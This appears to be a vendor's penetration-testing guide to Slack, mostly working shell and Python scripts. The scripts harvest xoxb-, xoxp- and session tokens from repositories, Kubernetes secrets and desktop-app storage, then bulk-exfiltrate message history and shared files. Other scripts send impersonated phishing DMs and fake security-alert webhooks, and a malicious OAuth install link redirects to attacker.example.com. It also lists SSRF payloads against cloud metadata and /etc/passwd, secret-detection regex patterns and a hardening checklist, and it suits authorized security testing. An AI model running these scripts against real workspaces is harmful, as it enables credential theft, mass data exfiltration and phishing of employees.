Slack Security Testing: Token Exposure, Webhook Abuse, and API Data Exfiltration

Slack is the dominant enterprise messaging platform and a high-value target during penetration tests — it stores the entire organizational communication history, shared files, credentials pasted into channels, and integration tokens. Key assessment areas: xoxb- bot tokens and xoxp- user tokens exposed in source code repositories and environment variables provide direct API access to workspace message history; incoming webhook URLs bypass authentication entirely and enable message injection; conversations.history and files.list APIs exfiltrate channel content and shared files including credentials; OAuth app misconfigurations allow persistent access escalation; and slash command endpoints are SSRF vectors. This guide covers systematic Slack security assessment for authorized engagements.

Table of Contents

  1. Reconnaissance: Workspace and User Enumeration
  2. Authentication Testing: Token Format Identification and Validation
  3. Slack API Abuse: Data Exfiltration via conversations.history and files.list
  4. Incoming Webhook Abuse: Message Injection and SSRF
  5. Slack App and Socket Mode Token Abuse
  6. Slash Command Endpoints as SSRF Vectors
  7. OAuth App Abuse: Authorization Code Flow Exploitation
  8. Credential Harvesting via Slack Phishing
  9. Secret Scanning in Shared Files and Snippets
  10. Slack Security Hardening and Detection

Reconnaissance: Workspace and User Enumeration

Before testing authentication, enumerate the Slack workspace to understand its size, user base, and public configuration. Several Slack API endpoints return workspace metadata without requiring a full authentication token.

# Slack workspace reconnaissance — team info and public discovery
SLACK_TEAM="yourworkspace"  # subdomain at yourworkspace.slack.com

# Resolve workspace ID from team domain via public endpoint
# No authentication required — exposes workspace ID, name, icon, features
curl -s "https://slack.com/api/team.info?team=${SLACK_TEAM}" \
  -H "Content-Type: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
t = d.get('team', {})
print(f'Team ID:      {t.get(\"id\")}')
print(f'Name:         {t.get(\"name\")}')
print(f'Domain:       {t.get(\"domain\")}')
print(f'Email domain: {t.get(\"email_domain\")}')
print(f'Plan:         {t.get(\"plan\")}')
print(f'Icon:         {t.get(\"icon\", {}).get(\"image_132\", \"\")}')
" 2>/dev/null

# Enumerate users via users.list (requires any valid token)
# xoxb- bot token or xoxp- user token both work
SLACK_TOKEN="xoxb-your-bot-token-here"

curl -s "https://slack.com/api/users.list" \
  -H "Authorization: Bearer ${SLACK_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
members = d.get('members', [])
print(f'Total members: {len(members)}')
for u in members[:15]:
    if u.get('deleted'): continue
    print(f'  [{u.get(\"id\")}] {u.get(\"real_name\", \"\")} <{u.get(\"profile\", {}).get(\"email\", \"\")}>')
    print(f'    title={u.get(\"profile\", {}).get(\"title\", \"\")}  admin={u.get(\"is_admin\")}  owner={u.get(\"is_owner\")}  bot={u.get(\"is_bot\")}')
" 2>/dev/null

# List all channels — public and private (private requires admin scope)
curl -s "https://slack.com/api/conversations.list?types=public_channel,private_channel&limit=200" \
  -H "Authorization: Bearer ${SLACK_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
channels = d.get('channels', [])
print(f'Channels: {len(channels)}')
for c in channels[:20]:
    print(f'  [{c.get(\"id\")}] #{c.get(\"name\")}  private={c.get(\"is_private\")}  members={c.get(\"num_members\",0)}')
    print(f'    topic={str(c.get(\"topic\",{}).get(\"value\",\"\"))[:80]}')
" 2>/dev/null

The team.info endpoint is particularly useful during black-box assessments — it confirms the workspace exists, reveals the email domain for phishing preparation, and returns the workspace plan tier. Pagination is required for large workspaces; use the cursor parameter returned in response_metadata.next_cursor to iterate all users and channels.

Authentication Testing: Token Format Identification and Validation

Slack uses several distinct token types, each with a characteristic prefix and different permission scope. Identifying which token type is present determines what the attacker can access.

Token PrefixTypeScopeTypical Exposure Location
xoxb-Bot tokenScopes defined at app install time; typically read/write messagesSource code repos, .env files, CI/CD secrets, Docker environment
xoxp-User tokenScopes of the authorizing user; can include admin scopesLegacy OAuth apps, developer test scripts, Postman collections
xoxs-Session tokenFull user session equivalent — high privilegeBrowser localStorage, intercepted network traffic, memory forensics
xoxa-Legacy workspace token (deprecated)Workspace-wide access — very high privilegeOld integrations, legacy configs, long-lived scripts
xapp-App-level tokenSocket Mode connections, cross-workspace operationsApp manifest files, Kubernetes secrets, infrastructure configs
# Token validation — test any discovered Slack token
# auth.test returns token identity, workspace, and effective scopes

# Method 1: Bearer header (preferred for xoxb- and xoxp-)
curl -s "https://slack.com/api/auth.test" \
  -H "Authorization: Bearer xoxb-your-token-here" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'ok:        {d.get(\"ok\")}')
print(f'url:       {d.get(\"url\")}')
print(f'team:      {d.get(\"team\")}  ({d.get(\"team_id\")})')
print(f'user:      {d.get(\"user\")}  ({d.get(\"user_id\")})')
print(f'bot_id:    {d.get(\"bot_id\")}')
print(f'is_admin:  {d.get(\"is_admin\")}')
print(f'scopes:    {d.get(\"scope\")}')
" 2>/dev/null

# Method 2: Post body token parameter (legacy)
curl -s "https://slack.com/api/auth.test" \
  --data-urlencode "token=xoxp-your-token-here" 2>/dev/null

# Secret scanning patterns — grep source code, .env files, git history
# Regex for all Slack token types
grep -rE "xox[bpsa]-[0-9A-Za-z\-]+" \
  /path/to/repo --include="*.{js,ts,py,rb,go,env,yaml,yml,json,sh,conf}" 2>/dev/null

# Check git history for committed tokens
git log --all --oneline 2>/dev/null | head -50
git grep -E "xox[bpsa]-[0-9A-Za-z\-]+" $(git rev-list --all) 2>/dev/null | head -20

# Check common environment variable names
env | grep -iE "slack|xox[bpsa]" 2>/dev/null
cat .env .env.local .env.production 2>/dev/null | grep -iE "slack|xox[bpsa]"

# Kubernetes secrets and ConfigMaps
kubectl get secrets -A -o json 2>/dev/null | \
  python3 -c "
import json,sys,base64
d=json.load(sys.stdin)
for item in d.get('items',[]):
    name=item['metadata']['name']
    for k,v in item.get('data',{}).items():
        try:
            val=base64.b64decode(v).decode()
            if 'xox' in val.lower() or 'slack' in k.lower():
                print(f'{name}/{k}: {val[:60]}')
        except: pass
" 2>/dev/null

# Cookie-based session token extraction (browser context)
# xoxs- tokens are stored in the Slack desktop/web app localStorage
# Check browser localStorage for the 'd' cookie or 'localConfig_v2' key
# In Electron desktop app: ~/Library/Application Support/Slack/storage/slack-workspaces
Critical Finding: xoxs- session tokens extracted from the Slack desktop app's Electron localStorage provide the same access as the authenticated user's browser session — including reading all messages, accessing all joined channels, and performing administrative actions. These tokens do not expire until the user explicitly logs out. On macOS the Slack storage path is ~/Library/Application Support/Slack/storage/; on Linux it is ~/.config/Slack/.

Slack API Abuse: Data Exfiltration via conversations.history and files.list

With a valid token, the Slack API exposes the full message history for all channels the token has access to. Bot tokens installed with channels:history and groups:history scopes can read every message ever posted. The files.list endpoint returns all files shared in the workspace, which routinely includes credentials, database dumps, SSH keys, and internal documents.

# conversations.history — extract all messages from a channel
SLACK_TOKEN="xoxb-your-bot-token-here"
CHANNEL_ID="C0123456789"  # from conversations.list output

# Read up to 1000 messages from a channel
curl -s "https://slack.com/api/conversations.history?channel=${CHANNEL_ID}&limit=200" \
  -H "Authorization: Bearer ${SLACK_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
msgs = d.get('messages', [])
print(f'Messages returned: {len(msgs)}')
for m in msgs:
    ts = m.get('ts','')
    user = m.get('user', m.get('username','bot'))
    text = str(m.get('text',''))[:120]
    print(f'  [{ts}] {user}: {text}')
    # Check for secrets in message text
    import re
    patterns = [r'xox[bpsa]-[0-9A-Za-z\-]+', r'AKIA[0-9A-Z]{16}',
                r'password\s*[:=]\s*\S+', r'api[_-]?key\s*[:=]\s*\S+',
                r'secret\s*[:=]\s*\S+', r'-----BEGIN (RSA|PRIVATE) KEY-----']
    for pat in patterns:
        if re.search(pat, text, re.IGNORECASE):
            print(f'    *** POTENTIAL SECRET FOUND ***')
" 2>/dev/null

# Paginate through complete channel history
CURSOR=""
PAGE=0
while true; do
  URL="https://slack.com/api/conversations.history?channel=${CHANNEL_ID}&limit=200"
  [ -n "$CURSOR" ] && URL="${URL}&cursor=${CURSOR}"
  RESP=$(curl -s "$URL" -H "Authorization: Bearer ${SLACK_TOKEN}")
  echo "Page ${PAGE}: $(echo $RESP | python3 -c 'import json,sys; d=json.load(sys.stdin); print(len(d.get(\"messages\",[])), \"messages\")')"
  CURSOR=$(echo $RESP | python3 -c 'import json,sys; d=json.load(sys.stdin); print(d.get("response_metadata",{}).get("next_cursor",""))' 2>/dev/null)
  [ -z "$CURSOR" ] && break
  PAGE=$((PAGE+1))
done

# conversations.replies — read thread replies (separate API call required)
# Threads are NOT returned by conversations.history — must fetch explicitly
THREAD_TS="1234567890.123456"
curl -s "https://slack.com/api/conversations.replies?channel=${CHANNEL_ID}&ts=${THREAD_TS}" \
  -H "Authorization: Bearer ${SLACK_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for m in d.get('messages',[]):
    print(f'{m.get(\"user\",\"\")} [{m.get(\"ts\")}]: {str(m.get(\"text\",\"\"))[:120]}')
" 2>/dev/null

# files.list — enumerate all shared files in the workspace
curl -s "https://slack.com/api/files.list?count=100&types=all" \
  -H "Authorization: Bearer ${SLACK_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
files = d.get('files', [])
print(f'Files: {len(files)}')
for f in files:
    print(f'  [{f.get(\"id\")}] {f.get(\"name\")} ({f.get(\"filetype\")}) {f.get(\"size\",0)//1024}KB')
    print(f'    uploaded_by={f.get(\"user\")} channels={f.get(\"channels\",[])}')
    print(f'    url_private={f.get(\"url_private\",\"\")[:80]}')
" 2>/dev/null

# Download a private file — requires Authorization header (not just URL)
FILE_URL="https://files.slack.com/files-pri/T.../F.../filename.txt"
curl -s -L "${FILE_URL}" \
  -H "Authorization: Bearer ${SLACK_TOKEN}" \
  -o downloaded_file.txt 2>/dev/null
High-Value Targets in files.list: Filter for .env, .pem, .key, .p12, .pfx, id_rsa, credentials.json, and *.csv files. Developers routinely share environment files in Slack channels when debugging, and these files are permanently accessible to anyone with a valid token even after the message is deleted (files require explicit deletion). Also target Snippets (filetype post) which frequently contain database connection strings pasted for quick sharing.

Incoming Webhook Abuse: Message Injection and SSRF

Slack incoming webhooks are pre-authenticated POST endpoints that deliver messages to a specific channel without requiring a token. A webhook URL is a persistent credential — it does not expire unless manually rotated. Leaked webhook URLs allow an attacker to inject arbitrary messages into the target channel, enabling phishing at scale and potential SSRF depending on the receiving application architecture.

# Incoming webhook — format and validation
# Format: https://hooks.slack.com/services/TXXXXXXXX/BXXXXXXXX/XXXXXXXXXXXXXXXXXXXXXXXX
WEBHOOK_URL="https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX"

# Validate a discovered webhook by sending a test message
curl -s -X POST "${WEBHOOK_URL}" \
  -H "Content-Type: application/json" \
  -d '{"text": "Webhook validation test — authorized security assessment"}' 2>/dev/null

# Advanced message injection — impersonate services using Block Kit
# Override username and icon to impersonate GitHub, PagerDuty, monitoring alerts
curl -s -X POST "${WEBHOOK_URL}" \
  -H "Content-Type: application/json" \
  -d '{
    "username": "GitHub",
    "icon_emoji": ":github:",
    "text": "*[SECURITY]* Possible credential leak detected in commit `a1b2c3d`",
    "attachments": [{
      "color": "danger",
      "text": "Click  to review the affected commit and rotate your credentials.",
      "footer": "GitHub Security Alert"
    }]
  }' 2>/dev/null

# Webhook secret scanning — common patterns in source code
grep -rE "hooks\.slack\.com/services/T[A-Z0-9]+/B[A-Z0-9]+/[A-Za-z0-9]+" \
  /path/to/repo --include="*.{js,ts,py,rb,go,yaml,yml,json,sh,conf}" 2>/dev/null

# SSRF via webhook delivery — if the webhook URL is consumed by an internal service
# that makes outbound requests, the path component can be manipulated:
# Replace hooks.slack.com with an internal address in configurations that
# construct the webhook URL from environment variables
# Test for SSRF by injecting internal URLs into Slack integration configurations
# via the Slack Admin API (requires admin token):
curl -s "https://slack.com/api/apps.connections.open" \
  -H "Authorization: Bearer xapp-your-app-level-token" 2>/dev/null

# Webhook URL enumeration via Slack API (admin token required)
# Lists all installed apps and their webhook endpoints
curl -s "https://slack.com/api/apps.list" \
  -H "Authorization: Bearer xoxp-admin-user-token" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for app in d.get('apps', []):
    print(f'{app.get(\"name\")}: {app.get(\"id\")}')
    for hook in app.get('incoming_webhooks', []):
        print(f'  webhook_url: {hook.get(\"url\",\"\")}')
        print(f'  channel: {hook.get(\"channel\")}')
" 2>/dev/null

Slack App and Socket Mode Token Abuse

Slack app-level tokens (xapp-) are used for Socket Mode connections, which establish a persistent WebSocket connection between the Slack platform and the application server. These tokens have cross-workspace capabilities and are often stored in infrastructure configuration files rather than application environment variables, making them less likely to appear in standard secret scans.

# xapp- token validation and Socket Mode connection
XAPP_TOKEN="xapp-1-your-app-level-token-here"

# Validate app-level token
curl -s "https://slack.com/api/apps.connections.open" \
  -H "Authorization: Bearer ${XAPP_TOKEN}" \
  -H "Content-Type: application/x-www-form-urlencoded" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'ok:  {d.get(\"ok\")}')
print(f'url: {d.get(\"url\")}')  # WebSocket URL for Socket Mode
print(f'error: {d.get(\"error\",\"none\")}')
" 2>/dev/null

# Socket Mode WebSocket URL — connect to receive all workspace events
# The url returned above is a wss:// endpoint that delivers real-time events:
# message events from all channels the app is subscribed to
# slash command invocations including user identity and channel context
# workflow step executions including automation trigger data
# app_mention events with full message context

# App manifest inspection — reveals all permissions and event subscriptions
# apps.manifest.export requires admin or app owner token
curl -s "https://slack.com/api/apps.manifest.export?app_id=A0123456789" \
  -H "Authorization: Bearer ${XAPP_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
manifest = d.get('manifest', {})
features = manifest.get('features', {})
oauth = manifest.get('oauth_config', {})
print('Bot scopes:', oauth.get('scopes', {}).get('bot', []))
print('User scopes:', oauth.get('scopes', {}).get('user', []))
print('Event subscriptions:', features.get('event_subscriptions', {}).get('bot_events', []))
print('Slash commands:', [c.get('command') for c in features.get('slash_commands', [])])
" 2>/dev/null

Slash Command Endpoints as SSRF Vectors

Slack slash commands work by making an HTTP POST request from Slack's infrastructure to an external URL configured in the app manifest. These external URLs are server-side request targets — any service that validates only the X-Slack-Signature header and then makes secondary HTTP requests based on the payload parameters is an SSRF candidate. During internal penetration tests, slash command configuration endpoints are worth testing for SSRF when the Slack app server is inside the corporate network.

# Slash command SSRF testing methodology
# 1. Identify slash command request URL from app configuration
# 2. Analyze what the handler does with payload parameters
# 3. Test for SSRF via user-controlled URL parameters

# Slash command invocation payload format (delivered by Slack to your server):
# POST https://your-server.example.com/slack/command
# token=xxxxxxxxxx
# team_id=T0001
# team_domain=yourworkspace
# channel_id=C0123456789
# channel_name=general
# user_id=U0123456789
# user_name=username
# command=/lookup
# text=https://internal.example.com/admin   <-- SSRF injection point
# response_url=https://hooks.slack.com/commands/...  <-- used for async responses

# If the slash command handler fetches the URL in 'text' or constructs
# URLs from the 'text' parameter, it becomes an SSRF vector:
# /lookup https://169.254.169.254/latest/meta-data/  (AWS IMDS)
# /lookup https://metadata.google.internal/computeMetadata/v1/
# /lookup https://192.168.1.1/admin
# /lookup file:///etc/passwd

# Signing secret validation bypass — some integrations only check token (deprecated)
# The 'token' field (legacy verification) vs X-Slack-Signature header (current)
# Apps using legacy token verification can be spoofed if the token leaks

# Enumerate slash commands registered in a workspace (admin token required)
curl -s "https://slack.com/api/commands.list" \
  -H "Authorization: Bearer xoxp-admin-user-token" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for cmd in d.get('commands', []):
    print(f'Command: {cmd.get(\"command\")}')
    print(f'  URL: {cmd.get(\"url\")}')
    print(f'  App: {cmd.get(\"app_name\")} ({cmd.get(\"app_id\")})')
    print(f'  Description: {cmd.get(\"description\",\"\")}')
" 2>/dev/null

OAuth App Abuse: Authorization Code Flow Exploitation

Slack uses OAuth 2.0 for third-party app installations. The authorization code flow can be abused if the redirect_uri validation is weak, if the app's client_secret is exposed, or if the state parameter is absent or predictable — enabling CSRF-based token theft.

# OAuth app abuse — client secret extraction and token exchange
# Client secrets are stored in Slack app configuration and often in:
# - Application environment variables (SLACK_CLIENT_SECRET)
# - CI/CD pipeline secrets (GitHub Actions, GitLab CI)
# - Kubernetes secrets and ConfigMaps
# - Terraform state files (tfstate) — plaintext in remote state

# If client_secret is obtained, exchange any valid authorization code:
CLIENT_ID="your-slack-app-client-id"
CLIENT_SECRET="your-slack-app-client-secret"
AUTH_CODE="intercepted-authorization-code"
REDIRECT_URI="https://your-app.example.com/oauth/callback"

curl -s "https://slack.com/api/oauth.v2.access" \
  --data-urlencode "client_id=${CLIENT_ID}" \
  --data-urlencode "client_secret=${CLIENT_SECRET}" \
  --data-urlencode "code=${AUTH_CODE}" \
  --data-urlencode "redirect_uri=${REDIRECT_URI}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'ok: {d.get(\"ok\")}')
print(f'access_token: {d.get(\"access_token\",\"\")}')
print(f'token_type:   {d.get(\"token_type\")}')
print(f'scope:        {d.get(\"scope\")}')
print(f'authed_user:  {d.get(\"authed_user\",{}).get(\"access_token\",\"\")}')
print(f'team:         {d.get(\"team\",{}).get(\"name\")}')
" 2>/dev/null

# CSRF via missing state parameter — craft malicious OAuth initiation URL
# If state parameter is absent or predictable:
# https://slack.com/oauth/v2/authorize?client_id=CLIENT_ID&scope=channels:read,chat:write&redirect_uri=REDIRECT_URI
# An attacker can force a victim to authorize the attacker's redirect_uri

# Enumerate installed OAuth apps in workspace (admin token required)
curl -s "https://slack.com/api/apps.list&include_app_directory=true" \
  -H "Authorization: Bearer xoxp-admin-user-token" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for app in d.get('apps', []):
    print(f'{app.get(\"name\")} ({app.get(\"id\")})')
    print(f'  scopes: {app.get(\"scopes\",[])}')
    print(f'  installed_by: {app.get(\"installed_by\",{}).get(\"name\")}')
" 2>/dev/null
Terraform State Files: Slack client_secret values and bot tokens are frequently provisioned via Terraform and stored in plaintext in remote state (S3, GCS, Terraform Cloud). During infrastructure-focused penetration tests, searching terraform.tfstate and remote state backends for xox and slack strings yields high-value credentials. See the Terraform Security Testing guide for state backend exploitation techniques.

Credential Harvesting via Slack Phishing

Slack's trusted status within organizations makes it an effective phishing delivery channel. Users receive DMs from compromised accounts or malicious bots without the same skepticism they apply to email. Several techniques are effective during authorized social engineering assessments.

# Slack phishing — send DM to a target user via API
SLACK_TOKEN="xoxb-your-bot-token"
TARGET_USER_ID="U0123456789"  # from users.list enumeration

# Open a direct message channel with the target user
DM_CHANNEL=$(curl -s "https://slack.com/api/conversations.open" \
  -H "Authorization: Bearer ${SLACK_TOKEN}" \
  -H "Content-Type: application/json" \
  -d "{\"users\": \"${TARGET_USER_ID}\"}" 2>/dev/null | \
  python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('channel',{}).get('id',''))")

echo "DM channel: ${DM_CHANNEL}"

# Send phishing message with credential harvesting link
curl -s "https://slack.com/api/chat.postMessage" \
  -H "Authorization: Bearer ${SLACK_TOKEN}" \
  -H "Content-Type: application/json" \
  -d "{
    \"channel\": \"${DM_CHANNEL}\",
    \"text\": \"Your Slack session has expired on a new device. Verify your identity to continue: \",
    \"as_user\": false
  }" 2>/dev/null

# Impersonation via username override (requires chat:write.customize scope)
curl -s "https://slack.com/api/chat.postMessage" \
  -H "Authorization: Bearer ${SLACK_TOKEN}" \
  -H "Content-Type: application/json" \
  -d "{
    \"channel\": \"${DM_CHANNEL}\",
    \"text\": \"IT Security: We detected unusual login activity on your account. Please re-authenticate at .\",
    \"username\": \"IT Security Team\",
    \"icon_emoji\": \":shield:\"
  }" 2>/dev/null

# Malicious Slack app installation phishing — craft installation URL
# that requests high-privilege scopes and redirects to attacker-controlled page
echo "https://slack.com/oauth/v2/authorize?client_id=${CLIENT_ID}&scope=admin,channels:read,channels:history,files:read,users:read.email,chat:write&redirect_uri=https://attacker.example.com/oauth/callback"

Secret Scanning in Shared Files and Snippets

Beyond the API itself, Slack is a rich source of credentials due to developer habits — posting environment files, private keys, configuration snippets, and database dumps into channels for quick sharing. Automated secret scanning of files.list output is a high-yield activity.

# Automated secret scanning in Slack files and messages
SLACK_TOKEN="xoxb-your-bot-token"

# Download and scan all text-format files in the workspace
curl -s "https://slack.com/api/files.list?count=100&types=text,post,snippet" \
  -H "Authorization: Bearer ${SLACK_TOKEN}" 2>/dev/null | python3 -c "
import json,sys,re,urllib.request,urllib.error

SECRET_PATTERNS = {
    'AWS Access Key':       r'AKIA[0-9A-Z]{16}',
    'AWS Secret Key':       r'(?i)aws.{0,20}secret.{0,20}[0-9A-Za-z/+]{40}',
    'Slack Token':          r'xox[bpsax]-[0-9A-Za-z\-]+',
    'Private Key':          r'-----BEGIN (RSA |EC |OPENSSH )?PRIVATE KEY-----',
    'GitHub Token':         r'ghp_[A-Za-z0-9]{36}',
    'Google API Key':       r'AIza[0-9A-Za-z\-_]{35}',
    'Database URL':         r'(postgres|mysql|mongodb)://[^:]+:[^@]+@[^/]+',
    'Generic Password':     r'(?i)(password|passwd|pwd)\s*[:=]\s*\S{8,}',
    'Generic Secret':       r'(?i)(secret|api_key|apikey|token)\s*[:=]\s*[\"\'`]?\S{16,}',
    'Stripe Key':           r'sk_(live|test)_[0-9A-Za-z]{24,}',
    'Twilio Auth Token':    r'(?i)twilio.{0,10}auth.{0,10}[0-9a-f]{32}',
}

token = '${SLACK_TOKEN}'
d = json.load(sys.stdin)
for f in d.get('files', []):
    url = f.get('url_private_download') or f.get('url_private')
    if not url: continue
    try:
        req = urllib.request.Request(url, headers={'Authorization': f'Bearer {token}'})
        content = urllib.request.urlopen(req, timeout=10).read().decode('utf-8', errors='ignore')
        for label, pat in SECRET_PATTERNS.items():
            matches = re.findall(pat, content)
            if matches:
                print(f'[MATCH] {f.get(\"name\")} ({f.get(\"id\")}): {label}')
                print(f'  channel: {f.get(\"channels\",[])}')
                print(f'  uploaded: {f.get(\"timestamp\")}')
                for m in matches[:3]:
                    print(f'  value: {str(m)[:60]}...')
    except Exception as e:
        print(f'[ERROR] {f.get(\"name\")}: {e}')
" 2>/dev/null

Slack Security Hardening and Detection

Slack Security Hardening Checklist:
Security TestMethodRisk
xoxb- bot token exposure in repositoriesGrep source code, git history, CI/CD configs for xox[bpsax]- patterns; validate via auth.test; check effective scopes for channels:history and files:read which enable mass data exfiltrationCritical
xoxp- user token exposure in scripts and Postman collectionsUser tokens can carry admin-level scopes; enumerate via auth.test is_admin field; admin user tokens grant access to private channels, user management, and workspace configurationCritical
xoxs- session token extraction from Electron app storageRead ~/Library/Application Support/Slack/storage/ on macOS or ~/.config/Slack/ on Linux; session tokens provide full user session access equivalent to browser login; do not expire until explicit logoutCritical
Incoming webhook URL abusePOST arbitrary JSON to hooks.slack.com/services/T.../B.../...; inject messages impersonating security alerts or IT notices with credential harvesting links; persistent — webhook does not expireHigh
conversations.history bulk data exfiltrationIterate all channels via conversations.list then paginate conversations.history for each; extract complete message history including DMs via im.history; scan for credentials in message textHigh
files.list credential exposureEnumerate all workspace files; download and scan .env, snippet, and post type files for secret patterns; developer-shared credentials persist indefinitely even after message deletionHigh
Slash command SSRF via user-controlled URL parametersInject internal addresses into slash command text parameters if the handler makes secondary HTTP requests; target AWS IMDS (169.254.169.254), internal admin panels, and cloud metadata endpointsHigh
OAuth authorization code interception via missing state parameterVerify state parameter presence and entropy; test redirect_uri allowlist strictness via path traversal and subdomain variations; exchange intercepted codes against exposed client_secretMedium

Automate Slack Security Testing with Ironimo

Ironimo scans for Slack token exposure patterns across application surfaces — detecting xoxb- and xoxp- tokens in environment variables and configuration endpoints, validating webhook URL accessibility and injection susceptibility, testing conversations.history and files.list API access scope, identifying slash command SSRF vectors, auditing OAuth app permission scopes, and checking for missing state parameter CSRF protections. Integrate automated Slack security checks into your pentest workflow.

Start free scan